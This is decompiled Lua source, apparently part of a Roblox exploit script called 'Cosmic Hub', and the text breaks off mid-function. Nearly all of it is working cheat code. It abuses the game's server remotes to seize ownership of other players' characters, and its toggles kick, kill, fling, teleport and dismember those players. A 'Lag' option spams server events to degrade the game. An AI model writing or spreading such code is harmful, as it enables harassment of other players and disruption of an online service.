if os.clock() - v364 >= 5 then
local v365 = v305();
if v365 then
v251.currentBlobman = v365;
task.wait(0.3);
for _ = 1, 6 do
if v251.toggleEnabled then
v316(v251.currentBlobman);
task.wait(0.25);
v361 = v310() == v251.currentBlobman;
else
v361 = true;
end;
if v361 then
break;
end;
if v361 then
break;
end;
end;
if not v361 then
if not v361 then
break;
end;
end;
else
break;
end;
end;
else
break;
end;
if v361 then
break;
end;
if v361 then
break;
end;
end;
end;
v361 = false;
if v310() == v251.currentBlobman then
local l_Character_14 = v251.LocalPlayer.Character;
local v368 = l_Character_14 and l_Character_14:FindFirstChild("HumanoidRootPart");
if v368 then
local l_Position_2 = v368.Position;
local v370 = {};
if v251.teleportAllEnabled then
for _, v372 in ipairs(v251.Players:GetPlayers()) do
if v372 ~= v251.LocalPlayer then
table.insert(v370, v372);
end;
end;
else
for v373, _ in pairs(v251.TargetList) do
local l_PlayerByUserId_0 = v251.Players:GetPlayerByUserId(v373);
if l_PlayerByUserId_0 then
table.insert(v370, l_PlayerByUserId_0);
end;
end;
end;
if true then
local l_l_Position_2_0 = l_Position_2;
for _, v378 in ipairs(v370) do
if v251.toggleEnabled then
if true then
local l_v378_0 = v378;
if l_v378_0 and l_v378_0.Character and l_v378_0.Character:FindFirstChild("HumanoidRootPart") then
if v47.LastProcessed[l_v378_0.UserId] then
local v380 = l_v378_0.Character and l_v378_0.Character:FindFirstChild("HumanoidRootPart");
local v381 = l_v378_0.Character and l_v378_0.Character:FindFirstChild("Humanoid");
if not v380 or not v381 or v381.Health <= 0 or (v380.Position - l_l_Position_2_0).Magnitude > 20 then
v47.LastProcessed[l_v378_0.UserId] = 20;
end;
end;
if v251.ORIGIN_POS and (l_v378_0.Character.HumanoidRootPart.Position - v251.ORIGIN_POS).Magnitude <= v251.MAX_TELEPORT_DIST then
if (l_v378_0.Character.HumanoidRootPart.Position - l_l_Position_2_0).Magnitude > 20 then
local v382 = false;
local v383 = 0;
while v251.toggleEnabled and not v382 and v383 < 3 and v251.currentBlobman and v251.currentBlobman.Parent and v310() == v251.currentBlobman do
v382 = v342(l_v378_0, v251.currentBlobman, l_l_Position_2_0, 20);
v383 = v383 + 1;
if v382 then
pcall(function()
-- upvalues: v358 (ref), l_v378_0 (ref), v251 (ref), l_l_Position_2_0 (ref)
v358(l_v378_0, v251.currentBlobman, l_l_Position_2_0);
end);
v47.LastProcessed[l_v378_0.UserId] = tick();
else
task.wait(0.4);
end;
end;
else
v333(l_v378_0, v251.currentBlobman);
task.wait(v47.BlobmanDelay or 0.1);
pcall(function()
-- upvalues: v358 (ref), l_v378_0 (ref), v251 (ref), l_l_Position_2_0 (ref)
v358(l_v378_0, v251.currentBlobman, l_l_Position_2_0);
end);
v47.LastProcessed[l_v378_0.UserId] = tick();
end;
end;
end;
end;
else
break;
end;
end;
end;
end;
end;
end;
task.wait(0.25);
end;
v251.masterRunning = false;
end);
return;
else
return;
end;
end;
v251.LocalPlayer.CharacterAdded:Connect(function()
-- upvalues: v251 (ref), v384 (ref)
if v251.toggleEnabled then
task.wait(1.5);
local v385 = v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if v385 then
v251.ORIGIN_POS = v385.Position;
end;
v384();
end;
end);
v249:AddToggle({
Name = "Blobman Target (Kick)",
Default = false,
Callback = function(v386)
-- upvalues: v251 (ref), v384 (ref)
v251.toggleEnabled = v386;
if v386 then
local v387 = v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if v387 then
v251.ORIGIN_POS = v387.Position;
end;
v384();
end;
end
});
v249:AddSlider({
Name = "Teleport Duration",
Min = 0.25,
Max = 3,
Default = v251.teleportDelay,
Increment = 0.01,
ValueName = "Seconds",
Callback = function(v388)
-- upvalues: v251 (ref)
v251.teleportDelay = v388;
end
});
v251.Players.PlayerAdded:Connect(v256);
v251.Players.PlayerRemoving:Connect(v256);
local v389 = {
autoGrab = false,
autoGrabCoroutine = "autoGrabCoroutine"
};
local function v397(v390, v391)
local l_LeftDetector_2 = v390:FindFirstChild("LeftDetector");
local l_RightDetector_2 = v390:FindFirstChild("RightDetector");
local l_BlobmanSeatAndOwnerScript_2 = v390:FindFirstChild("BlobmanSeatAndOwnerScript");
if not l_LeftDetector_2 or not l_RightDetector_2 or not l_BlobmanSeatAndOwnerScript_2 or not v391 then
return;
else
local l_RigidConstraint_0 = l_LeftDetector_2:FindFirstChild("RigidConstraint");
local l_RightWeld_0 = l_RightDetector_2:FindFirstChild("RightWeld");
if l_RigidConstraint_0 then
pcall(function()
-- upvalues: l_BlobmanSeatAndOwnerScript_2 (ref), l_LeftDetector_2 (ref), v391 (ref), l_RigidConstraint_0 (ref)
l_BlobmanSeatAndOwnerScript_2.CreatureGrab:FireServer(l_LeftDetector_2, v391, l_RigidConstraint_0);
l_BlobmanSeatAndOwnerScript_2.CreatureDrop:FireServer(l_RigidConstraint_0, v391);
end);
end;
if l_RightWeld_0 then
pcall(function()
-- upvalues: l_BlobmanSeatAndOwnerScript_2 (ref), l_RightDetector_2 (ref), v391 (ref), l_RightWeld_0 (ref)
l_BlobmanSeatAndOwnerScript_2.CreatureGrab:FireServer(l_RightDetector_2, v391, l_RightWeld_0);
l_BlobmanSeatAndOwnerScript_2.CreatureDrop:FireServer(l_RightWeld_0, v391);
end);
end;
return;
end;
end;
local function v401()
-- upvalues: l_Workspace_0 (ref)
for _, v399 in pairs(l_Workspace_0:GetDescendants()) do
if v399:IsA("Model") and v399.Name == "CreatureBlobman" and v399:FindFirstChild("VehicleSeat") then
local l_SeatWeld_0 = v399.VehicleSeat:FindFirstChild("SeatWeld");
if l_SeatWeld_0 and l_SeatWeld_0.Part1 and l_SeatWeld_0.Part1:IsDescendantOf(game.Players.LocalPlayer.Character) then
return v399;
end;
end;
end;
return nil;
end;
local function v407()
-- upvalues: v389 (ref), v401 (ref), v43 (ref), v47 (ref), v397 (ref)
v389.autoGrabCoroutine = coroutine.create(function()
-- upvalues: v401 (ref), v43 (ref), v389 (ref), v47 (ref), v397 (ref)
local v402 = v401();
if v402 then
while v389.autoGrab do
for v403, _ in pairs(v47.TargetList) do
if v403 ~= game.Players.LocalPlayer.UserId then
local l_PlayerByUserId_1 = game.Players:GetPlayerByUserId(v403);
local v406 = l_PlayerByUserId_1 and l_PlayerByUserId_1.Character and l_PlayerByUserId_1.Character:FindFirstChild("HumanoidRootPart");
if v406 then
v397(v402, v406);
end;
end;
end;
task.wait(0.01);
end;
return;
else
v43:MakeNotification({
Name = "No Blobman Found",
Content = "You must be riding a Blobman to use this.",
Image = "rbxassetid://4483345998",
Time = 5
});
return;
end;
end);
coroutine.resume(v389.autoGrabCoroutine);
end;
v249:AddToggle({
Name = "God Loop Target",
Default = false,
Callback = function(v408)
-- upvalues: v389 (ref), v407 (ref)
v389.autoGrab = v408;
if not v408 then
if v389.autoGrabCoroutine then
coroutine.close(v389.autoGrabCoroutine);
v389.autoGrabCoroutine = "close";
end;
else
v407();
end;
end
});
local v409 = {
enabled = false,
coroutine = "coroutine",
MAX_HOVER_DIST = 500,
HOVER_HEIGHT = 25
};
local function v416()
-- upvalues: v409 (ref), v310 (ref), v251 (ref), v322 (ref)
v409.coroutine = coroutine.create(function()
-- upvalues: v409 (ref), v310 (ref), v251 (ref), v322 (ref)
while v409.enabled do
local v410 = v310();
local l_selectedPlayer_0 = v251.selectedPlayer;
if v410 and l_selectedPlayer_0 and l_selectedPlayer_0.Character and l_selectedPlayer_0.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_11 = l_selectedPlayer_0.Character.HumanoidRootPart;
local l_Character_15 = v251.LocalPlayer.Character;
local v414 = l_Character_15 and l_Character_15:FindFirstChild("HumanoidRootPart");
if v414 and (v414.Position - l_HumanoidRootPart_11.Position).Magnitude <= v409.MAX_HOVER_DIST then
local v415 = l_HumanoidRootPart_11.Position + Vector3.new(0, v409.HOVER_HEIGHT, 0);
v322(v410, v415);
end;
end;
task.wait(0.06);
end;
end);
coroutine.resume(v409.coroutine);
end;
v249:AddToggle({
Name = "Hover above target",
Default = false,
Callback = function(v417)
-- upvalues: v409 (ref), v416 (ref)
v409.enabled = v417;
if not v417 then
if v409.coroutine then
coroutine.close(v409.coroutine);
v409.coroutine = "close";
end;
else
v416();
end;
end
});
local v418 = v44:MakeTab({
Name = "Auras",
Icon = "rbxassetid://6031075939",
PremiumOnly = false
});
local _ = v418:AddSection({
Name = "Auras"
});
local v420 = {
auraCoroutine = "auraCoroutine",
gravityCoroutine = "gravityCoroutine",
localPlayer = game.Players.LocalPlayer,
Players = game.Players,
Debris = game:GetService("Debris"),
SetNetworkOwner = game.ReplicatedStorage:WaitForChild("GrabEvents"):WaitForChild("SetNetworkOwner"),
OrionLib = v43,
Tab = v418,
auraRadius = 25
};
local function v433()
-- upvalues: v420 (ref)
v420.auraCoroutine = coroutine.create(function()
-- upvalues: v420 (ref)
while true do
local l_status_0, l_result_0 = pcall(function()
-- upvalues: v420 (ref)
local l_Character_16 = v420.localPlayer.Character;
if l_Character_16 and l_Character_16:FindFirstChild("Head") and l_Character_16:FindFirstChild("HumanoidRootPart") then
local _ = l_Character_16.Head;
local l_HumanoidRootPart_12 = l_Character_16.HumanoidRootPart;
do
local l_l_HumanoidRootPart_12_0 = l_HumanoidRootPart_12;
for _, v426 in pairs(v420.Players:GetPlayers()) do
do
local l_v426_0 = v426;
coroutine.wrap(function()
-- upvalues: l_v426_0 (ref), v420 (ref), l_l_HumanoidRootPart_12_0 (ref)
if l_v426_0 ~= v420.localPlayer and l_v426_0.Character then
local l_Character_17 = l_v426_0.Character;
local l_Torso_0 = l_Character_17:FindFirstChild("Torso");
if l_Torso_0 and (l_Torso_0.Position - l_l_HumanoidRootPart_12_0.Position).Magnitude <= v420.auraRadius then
v420.SetNetworkOwner:FireServer(l_Torso_0, l_Character_17.HumanoidRootPart.FirePlayerPart.CFrame);
task.wait(0.1);
local v430 = l_Torso_0:FindFirstChild("l") or Instance.new("BodyVelocity", l_Torso_0);
v430.Name = "l";
v430.Velocity = Vector3.new(0, 200000000000, 0);
v430.MaxForce = Vector3.new(0, math.huge, 0);
v420.Debris:AddItem(v430, 100);
task.wait(1);
v420.SetNetworkOwner:FireServer(l_Torso_0, nil);
if v430 then
v430:Destroy();
end;
end;
end;
end)();
end;
end;
end;
end;
end);
if not l_status_0 then
warn("Error in Air Suspend Aura: " .. tostring(l_result_0));
end;
task.wait(0.02);
end;
end);
coroutine.resume(v420.auraCoroutine);
end;
local function v434()
-- upvalues: v420 (ref)
if v420.auraCoroutine then
coroutine.close(v420.auraCoroutine);
v420.auraCoroutine = "close";
end;
end;
v420.Tab:AddToggle({
Name = " Launch Aura",
Default = false,
Callback = function(v435)
-- upvalues: v433 (ref), v434 (ref)
if v435 then
v433();
else
v434();
end;
end
});
v420.localPlayer.CharacterAdded:Connect(function(v436)
-- upvalues: v420 (ref)
v420.playerCharacter = v436;
end);
local function v453()
-- upvalues: v420 (ref), l_Workspace_0 (ref)
v420.gravityCoroutine = coroutine.create(function()
-- upvalues: v420 (ref), l_Workspace_0 (ref)
while true do
local l_status_1, l_result_1 = pcall(function()
-- upvalues: v420 (ref), l_Workspace_0 (ref)
local l_Character_18 = v420.localPlayer.Character;
if l_Character_18 and l_Character_18:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_13 = l_Character_18.HumanoidRootPart;
local l_CurrentCamera_0 = l_Workspace_0.CurrentCamera;
for _, v441 in pairs(v420.Players:GetPlayers()) do
if v441 ~= v420.localPlayer and v441.Character then
local l_Character_19 = v441.Character;
local l_Torso_1 = l_Character_19:FindFirstChild("Torso");
if l_Torso_1 and (l_Torso_1.Position - l_HumanoidRootPart_13.Position).Magnitude <= v420.auraRadius then
v420.SetNetworkOwner:FireServer(l_Torso_1, l_HumanoidRootPart_13.CFrame);
for _, v445 in ipairs(l_Character_19:GetDescendants()) do
if v445:IsA("BasePart") then
v445.CanCollide = false;
end;
end;
local v446 = l_Torso_1:FindFirstChild("HellAuraPos") or Instance.new("BodyPosition");
v446.Name = "HellAuraPos";
v446.MaxForce = Vector3.new(100000, 100000, 100000);
v446.D = 500;
v446.P = 50000;
v446.Parent = l_Torso_1;
local v447 = l_Torso_1:FindFirstChild("HellAuraGyro") or Instance.new("BodyGyro");
v447.Name = "HellAuraGyro";
v447.MaxTorque = Vector3.new(100000, 100000, 100000);
v447.D = 500;
v447.P = 50000;
v447.Parent = l_Torso_1;
local l_LookVector_0 = l_CurrentCamera_0.CFrame.LookVector;
local v449 = 15;
local v450 = Vector3.new(0, 5, 0);
v446.Position = l_HumanoidRootPart_13.Position + l_LookVector_0 * v449 + v450;
v447.CFrame = CFrame.new(l_Torso_1.Position, l_HumanoidRootPart_13.Position);
end;
end;
end;
end;
end);
if not l_status_1 then
warn("Error in Hell Send Aura: " .. tostring(l_result_1));
end;
task.wait(0.05);
end;
end);
coroutine.resume(v420.gravityCoroutine);
end;
local function v454()
-- upvalues: v420 (ref)
if v420.gravityCoroutine then
coroutine.close(v420.gravityCoroutine);
v420.gravityCoroutine = "close";
end;
end;
v420.Tab:AddToggle({
Name = "Telekinesis Aura",
Default = false,
Callback = function(v455)
-- upvalues: v453 (ref), v454 (ref)
if not v455 then
v454();
else
v453();
end;
end
});
function death(v456)
-- upvalues: v47 (ref), l_RunService_0 (ref), l_Players_0 (ref), l_LocalPlayer_0 (ref), l_GrabEvents_0 (ref)
if deathConnection then
deathConnection:Disconnect();
end;
if not v456 then
v47.Death_Aura = false;
return;
else
v47.Death_Aura = true;
deathConnection = l_RunService_0.Heartbeat:Connect(function()
-- upvalues: l_Players_0 (ref), l_LocalPlayer_0 (ref), l_GrabEvents_0 (ref)
for _, v458 in ipairs(l_Players_0:GetPlayers()) do
if v458 ~= l_LocalPlayer_0 and v458.Character then
local l_HumanoidRootPart_14 = v458.Character:FindFirstChild("HumanoidRootPart");
local l_Head_1 = v458.Character:FindFirstChild("Head");
local l_Humanoid_8 = v458.Character:FindFirstChildOfClass("Humanoid");
do
local l_l_HumanoidRootPart_14_0, l_l_Head_1_0, l_l_Humanoid_8_0 = l_HumanoidRootPart_14, l_Head_1, l_Humanoid_8;
if l_l_HumanoidRootPart_14_0 and l_l_Head_1_0 and l_l_Humanoid_8_0 and l_l_Humanoid_8_0.Health > 0 and (l_l_HumanoidRootPart_14_0.Position - l_LocalPlayer_0.Character.HumanoidRootPart.Position).Magnitude <= 25 then
pcall(function()
-- upvalues: l_GrabEvents_0 (ref), l_l_HumanoidRootPart_14_0 (ref), l_l_Head_1_0 (ref), l_LocalPlayer_0 (ref), l_l_Humanoid_8_0 (ref)
l_GrabEvents_0.SetNetworkOwner:FireServer(l_l_HumanoidRootPart_14_0, l_l_HumanoidRootPart_14_0.CFrame);
task.wait(0.1);
l_GrabEvents_0.DestroyGrabLine:FireServer(l_l_HumanoidRootPart_14_0);
if l_l_Head_1_0:FindFirstChild("PartOwner") and l_l_Head_1_0.PartOwner.Value == l_LocalPlayer_0.Name then
for _, v466 in pairs(l_l_Humanoid_8_0.Parent:GetChildren()) do
if v466:IsA("BasePart") then
v466.CFrame = CFrame.new(-1000000000, 1000000000, -1000000000);
end;
end;
task.wait();
for _, v468 in pairs(l_l_Humanoid_8_0.Parent:GetChildren()) do
if v468:IsA("BasePart") then
v468.CFrame = CFrame.new(-1000000000, 1000000000, -1000000000);
end;
end;
local l_BodyVelocity_1 = Instance.new("BodyVelocity");
l_BodyVelocity_1.Velocity = Vector3.new(0, -9999999, 0);
l_BodyVelocity_1.MaxForce = Vector3.new(9000000000, 9000000000, 9000000000);
l_BodyVelocity_1.P = 100000075;
l_BodyVelocity_1.Parent = l_l_HumanoidRootPart_14_0;
l_l_Humanoid_8_0.Sit = false;
l_l_Humanoid_8_0.Jump = true;
l_l_Humanoid_8_0.BreakJointsOnDeath = false;
l_l_Humanoid_8_0:ChangeState(Enum.HumanoidStateType.Dead);
do
local l_l_BodyVelocity_1_0 = l_BodyVelocity_1;
task.delay(2, function()
-- upvalues: l_l_BodyVelocity_1_0 (ref)
if l_l_BodyVelocity_1_0 and l_l_BodyVelocity_1_0.Parent then
l_l_BodyVelocity_1_0:Destroy();
end;
end);
end;
end;
end);
end;
end;
end;
end;
end);
return;
end;
end;
v418:AddToggle({
Name = "Death Aura",
Default = false,
Callback = death
});
local v471 = v44:MakeTab({
Name = "Teleport",
Icon = "rbxassetid://6031068433",
PremiumOnly = false
});
local _ = v471:AddSection({
Name = "Teleport"
});
local v473 = false;
local v474 = nil;
local function v478()
-- upvalues: l_Players_0 (ref), l_LocalPlayer_0 (ref)
local v475 = {};
for _, v477 in pairs(l_Players_0:GetPlayers()) do
if v477 ~= l_LocalPlayer_0 then
table.insert(v475, v477.Name);
end;
end;
return v475;
end;
local function v480(v479)
-- upvalues: v478 (ref)
v479:Refresh(v478(), true);
end;
local v482 = v471:AddDropdown({
Name = "Select Player",
Default = "rbxassetid://6031068433",
Options = v478(),
Callback = function(v481)
-- upvalues: v27 (ref)
v27 = v481;
end
});
v480(v482);
local function v485()
-- upvalues: v27 (ref), l_Players_0 (ref), l_LocalPlayer_0 (ref), v43 (ref)
if not v27 then
v43:MakeNotification({
Name = "Error",
Content = "No player selected.",
Time = 3
});
else
local l_l_Players_0_FirstChild_0 = l_Players_0:FindFirstChild(v27);
if not l_l_Players_0_FirstChild_0 or not l_l_Players_0_FirstChild_0.Character or not l_l_Players_0_FirstChild_0.Character:FindFirstChild("HumanoidRootPart") then
v43:MakeNotification({
Name = "Error",
Content = "Target player not found.",
Time = 3
});
else
local l_Position_3 = l_l_Players_0_FirstChild_0.Character.HumanoidRootPart.Position;
if not l_LocalPlayer_0.Character or not l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart") then
v43:MakeNotification({
Name = "Error",
Content = "Character was not found.",
Time = 3
});
else
l_LocalPlayer_0.Character.HumanoidRootPart.CFrame = CFrame.new(l_Position_3);
end;
end;
end;
end;
v471:AddButton({
Name = "Teleport to Player",
Callback = function()
-- upvalues: v485 (ref)
v485();
end
});
local function v486()
-- upvalues: v474 (ref), v473 (ref), v485 (ref)
v474 = coroutine.create(function()
-- upvalues: v473 (ref), v485 (ref)
while v473 do
v485();
wait(0.02);
end;
end);
coroutine.resume(v474);
end;
v471:AddToggle({
Name = "Loop Teleport",
Default = false,
Callback = function(v487)
-- upvalues: v473 (ref), v486 (ref), v474 (ref)
v473 = v487;
if not v487 then
v474 = nil;
else
v486();
end;
end
});
l_Players_0.PlayerAdded:Connect(function()
-- upvalues: v480 (ref), v482 (ref)
v480(v482);
end);
l_Players_0.PlayerRemoving:Connect(function()
-- upvalues: v480 (ref), v482 (ref)
v480(v482);
end);
local v488 = v44:MakeTab({
Name = "Random",
Icon = "rbxassetid://4483345998",
PremiumOnly = false
});
local _ = v488:AddSection({
Name = "Working"
});
local v490 = false;
local v491 = 5;
local function v495()
-- upvalues: v490 (ref), v491 (ref), l_Players_0 (ref), l_ReplicatedStorage_0 (ref)
while v490 do
for _ = 1, v491 do
for _, v494 in ipairs(l_Players_0:GetPlayers()) do
if v494.Character and v494.Character:FindFirstChild("Torso") then
l_ReplicatedStorage_0.GrabEvents.CreateGrabLine:FireServer(v494.Character.Torso, v494.Character.Torso.CFrame);
end;
end;
end;
wait(1);
end;
end;
v488:AddToggle({
Name = "Lag",
Default = false,
Callback = function(v496)
-- upvalues: v490 (ref), v495 (ref)
v490 = v496;
if v490 then
task.spawn(v495);
end;
end
});
v488:AddSlider({
Name = "Lag Intensity",
Min = 1,
Max = 1000,
Default = 5,
Callback = function(v497)
-- upvalues: v491 (ref)
v491 = v497;
end
});
local v498 = {
P = game:GetService("Players"),
RS = game:GetService("RunService"),
W = l_Workspace_0,
A = false,
Q = {},
Pos = "Pos",
Cam = "Cam",
R = 15,
Conn = "Conn",
WL = false,
CB = Instance.new("Part")
};
v498.CB.Anchored = true;
v498.CB.CanCollide = false;
v498.CB.Transparency = 1;
v498.CB.CanQuery = false;
v498.CB.Size = Vector3.new(10, 10, 10);
local function v500()
-- upvalues: v498 (ref)
local l_CurrentCamera_1 = v498.W.CurrentCamera;
v498.CB.CFrame = v498.Cam;
v498.CB.Parent = v498.W;
l_CurrentCamera_1.CameraType = Enum.CameraType.Scriptable;
l_CurrentCamera_1.CFrame = v498.Cam;
end;
local function v502()
-- upvalues: v498 (ref)
v498.CB.Parent = "Parent";
local l_CurrentCamera_2 = v498.W.CurrentCamera;
l_CurrentCamera_2.CameraType = Enum.CameraType.Custom;
if v498.Cam then
l_CurrentCamera_2.CFrame = v498.Cam;
end;
v498.Cam = "CFrame";
end;
local function v506(v503)
for _, v505 in pairs(v503:GetDescendants()) do
if v505:IsA("BasePart") then
v505.CanCollide = false;
end;
end;
end;
local function v510(v507)
-- upvalues: v498 (ref)
local l_PlotItems_0 = v498.W:FindFirstChild("PlotItems");
local v509 = l_PlotItems_0 and l_PlotItems_0:FindFirstChild("PlayersInPlots");
return v509 and v509:FindFirstChild(v507.Name);
end;
local function v513(v511)
-- upvalues: v498 (ref)
if (v511.Position - v498.Pos).Magnitude > v498.R then
local _ = false;
end;
return true;
end;
local function v515(v514)
-- upvalues: v498 (ref)
if v514 ~= v498.P.LocalPlayer then
if v498.WL and v498.P.LocalPlayer:IsFriendsWith(v514.UserId) then
return true;
else
return false;
end;
else
return true;
end;
end;
local function v519()
-- upvalues: v498 (ref), v515 (ref), v510 (ref), v513 (ref)
v498.Q = {};
for _, v517 in pairs(v498.P:GetPlayers()) do
if not v515(v517) and v517.Character and not v510(v517) then
local l_HumanoidRootPart_15 = v517.Character:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_15 and not v513(l_HumanoidRootPart_15) then
table.insert(v498.Q, v517);
end;
end;
end;
end;
local function v525()
-- upvalues: v498 (ref), v519 (ref), v506 (ref), l_SetNetworkOwner_0 (ref)
if #v498.Q == 0 then
v519();
if #v498.Q == 0 then
return;
end;
end;
local v520 = v498.Q[1];
table.remove(v498.Q, 1);
if v520 and v520.Character then
local l_HumanoidRootPart_16 = v520.Character:FindFirstChild("HumanoidRootPart");
local l_Head_2 = v520.Character:FindFirstChild("Head");
local v523 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_16 and l_Head_2 and v523 then
v498.P.LocalPlayer.Character:PivotTo(l_HumanoidRootPart_16.CFrame * CFrame.new(0, -6, 0));
v506(v498.P.LocalPlayer.Character);
local v524 = 0;
repeat
l_SetNetworkOwner_0:FireServer(l_HumanoidRootPart_16, v523.CFrame);
task.wait(0.15);
v524 = v524 + 1;
until v524 > 20 or l_Head_2:FindFirstChild("PartOwner") and l_Head_2.PartOwner.Value == v498.P.LocalPlayer.Name or not v498.A;
if v498.A and l_Head_2:FindFirstChild("PartOwner") and l_Head_2.PartOwner.Value == v498.P.LocalPlayer.Name then
l_HumanoidRootPart_16.CFrame = CFrame.new(v498.Pos);
l_HumanoidRootPart_16.Position = v498.Pos;
l_HumanoidRootPart_16.AssemblyLinearVelocity = Vector3.zero;
task.wait(0.8);
end;
end;
return;
else
return;
end;
end;
local function v528()
-- upvalues: v498 (ref), v519 (ref), v500 (ref), v525 (ref)
local v526 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if not v526 then
return;
else
v498.Pos = v526.Position;
v498.Cam = v498.W.CurrentCamera.CFrame;
v519();
v500();
v498.Conn = v498.RS.Heartbeat:Connect(function()
-- upvalues: v498 (ref), v525 (ref)
if v498.A then
v525();
if v498.Cam then
local l_CurrentCamera_3 = v498.W.CurrentCamera;
l_CurrentCamera_3.CameraType = Enum.CameraType.Scriptable;
l_CurrentCamera_3.CFrame = v498.Cam;
v498.CB.CFrame = v498.Cam;
v498.CB.Parent = v498.W;
end;
end;
end);
return;
end;
end;
local function v530()
-- upvalues: v498 (ref), v502 (ref)
if v498.Conn then
v498.Conn:Disconnect();
v498.Conn = "Disconnect";
end;
v502();
local v529 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if v529 and v498.Pos then
v529.AssemblyLinearVelocity = Vector3.zero;
v529.CFrame = CFrame.new(v498.Pos);
end;
end;
local function v534(v531)
-- upvalues: v498 (ref), v502 (ref), v500 (ref), v525 (ref)
v531:WaitForChild("Humanoid").Died:Connect(function()
-- upvalues: v498 (ref), v502 (ref)
if v498.Conn then
v498.Conn:Disconnect();
v498.Conn = "Disconnect";
end;
v502();
end);
if v498.A then
local l_HumanoidRootPart_17 = v531:WaitForChild("HumanoidRootPart");
v498.Pos = v498.Pos or l_HumanoidRootPart_17.Position;
v498.Cam = v498.Cam or v498.W.CurrentCamera.CFrame;
v500();
v498.Conn = v498.RS.Heartbeat:Connect(function()
-- upvalues: v498 (ref), v525 (ref)
if v498.A then
v525();
if v498.Cam then
local l_CurrentCamera_4 = v498.W.CurrentCamera;
l_CurrentCamera_4.CameraType = Enum.CameraType.Scriptable;
l_CurrentCamera_4.CFrame = v498.Cam;
v498.CB.CFrame = v498.Cam;
v498.CB.Parent = v498.W;
end;
end;
end);
end;
end;
v498.P.LocalPlayer.CharacterAdded:Connect(v534);
v498.P.PlayerAdded:Connect(function()
-- upvalues: v498 (ref), v519 (ref)
if v498.A then
v519();
end;
end);
v498.P.PlayerRemoving:Connect(function(v535)
-- upvalues: v498 (ref)
for v536 = #v498.Q, 1, -1 do
if v498.Q[v536] == v535 then
table.remove(v498.Q, v536);
end;
end;
end);
v488:AddToggle({
Name = "Bring All",
Default = false,
Callback = function(v537)
-- upvalues: v498 (ref), v528 (ref), v530 (ref)
v498.A = v537;
if v537 then
v528();
else
v530();
end;
end
});
v488:AddToggle({
Name = "Whitelist Friends",
Default = false,
Callback = function(v538)
-- upvalues: v498 (ref)
v498.WL = v538;
end
});
local v539 = {
ws = game:GetService("Workspace"),
plrs = game:GetService("Players"),
debris = game:GetService("Debris"),
uis = game:GetService("UserInputService"),
fpdHeight = l_Workspace_0.FallenPartsDestroyHeight,
parts = {
"Left Leg",
"Right Leg",
"Left Arm",
"Right Arm",
"HumanoidRootPart"
}
};
local function v546()
-- upvalues: v539 (ref)
local l_GrabParts_0 = v539.ws:FindFirstChild("GrabParts");
if l_GrabParts_0 then
for _, v542 in ipairs(l_GrabParts_0:GetChildren()) do
if v542:IsA("BasePart") then
for _, v544 in ipairs(v542:GetChildren()) do
if v544:IsA("WeldConstraint") and v544.Part1 and v544.Part1.Parent:IsA("Model") then
local l_Parent_0 = v544.Part1.Parent;
if l_Parent_0:FindFirstChildOfClass("Humanoid") then
return v539.plrs:GetPlayerFromCharacter(l_Parent_0);
end;
end;
end;
end;
end;
return nil;
else
return nil;
end;
end;
local function v562(v547)
-- upvalues: v539 (ref)
if not v547 then
return;
else
local l_Character_20 = v547.Character;
if not l_Character_20 then
return;
else
local v549 = {};
for _, v551 in ipairs(v539.parts) do
local l_l_Character_20_FirstChild_0 = l_Character_20:FindFirstChild(v551);
do
local l_l_l_Character_20_FirstChild_0_0 = l_l_Character_20_FirstChild_0;
if l_l_l_Character_20_FirstChild_0_0 then
for _, v555 in ipairs(v539.ws:GetDescendants()) do
if v555:IsA("WeldConstraint") and (v555.Part0 == l_l_l_Character_20_FirstChild_0_0 or v555.Part1 == l_l_l_Character_20_FirstChild_0_0) then
v555.Enabled = false;
table.insert(v549, v555);
end;
end;
for _, v557 in ipairs(l_l_l_Character_20_FirstChild_0_0:GetChildren()) do
if v557:IsA("Motor6D") or v557:IsA("Weld") then
v557.Enabled = false;
table.insert(v549, v557);
end;
end;
l_l_l_Character_20_FirstChild_0_0.Anchored = false;
local v558 = Vector3.new(l_l_l_Character_20_FirstChild_0_0.Position.X, v539.fpdHeight - 100, l_l_l_Character_20_FirstChild_0_0.Position.Z);
do
local l_v558_0 = v558;
pcall(function()
-- upvalues: l_l_l_Character_20_FirstChild_0_0 (ref), l_v558_0 (ref)
if not l_l_l_Character_20_FirstChild_0_0:IsA("Model") then
l_l_l_Character_20_FirstChild_0_0.CFrame = CFrame.new(l_v558_0);
else
l_l_l_Character_20_FirstChild_0_0.PrimaryPart = l_l_l_Character_20_FirstChild_0_0.PrimaryPart or l_l_l_Character_20_FirstChild_0_0:FindFirstChildWhichIsA("BasePart");
if l_l_l_Character_20_FirstChild_0_0.PrimaryPart then
l_l_l_Character_20_FirstChild_0_0:SetPrimaryPartCFrame(CFrame.new(l_v558_0));
end;
end;
end);
task.wait(0.1);
end;
end;
end;
end;
for _, v561 in ipairs(v549) do
v561.Enabled = true;
end;
return;
end;
end;
end;
local function v564()
-- upvalues: v546 (ref), v562 (ref)
local v563 = v546();
if v563 then
v562(v563);
end;
end;
if v539.uis.TouchEnabled then
v488:AddButton({
Name = "Delete Limbs (Hold and ragdoll player)",
Callback = v564
});
end;
local v565 = v44:MakeTab({
Name = "Credits",
Icon = "rbxassetid://6035047375",
PremiumOnly = false
});
v565:AddLabel("CREATOR: Cosmic_TCU (TCUTCU_LLBDDLLZYXZY)");
v565:AddLabel("GO FOLLOW: Crisila_TCU (Superduperalt0987)");
v565:AddLabel("HELPERS: jeke/brilliant, moonydev");
v565:AddButton({
Name = "Cosmic Hub Discord Server",
Callback = function()
-- upvalues: v43 (ref)
setclipboard("https://discord.gg/mzkKQhyNqv");
v43:MakeNotification({
Name = "Copied!",
Content = "Discord link has been copied to your clipboard.",
Image = "rbxassetid://4483345998",
Time = 3
});
end
});
local v566 = v44:MakeTab({
Name = "Extra",
Icon = "rbxassetid://6031094675",
PremiumOnly = false
});
v566:AddButton({
Name = "Cosmic Hub Auras",
Callback = function()
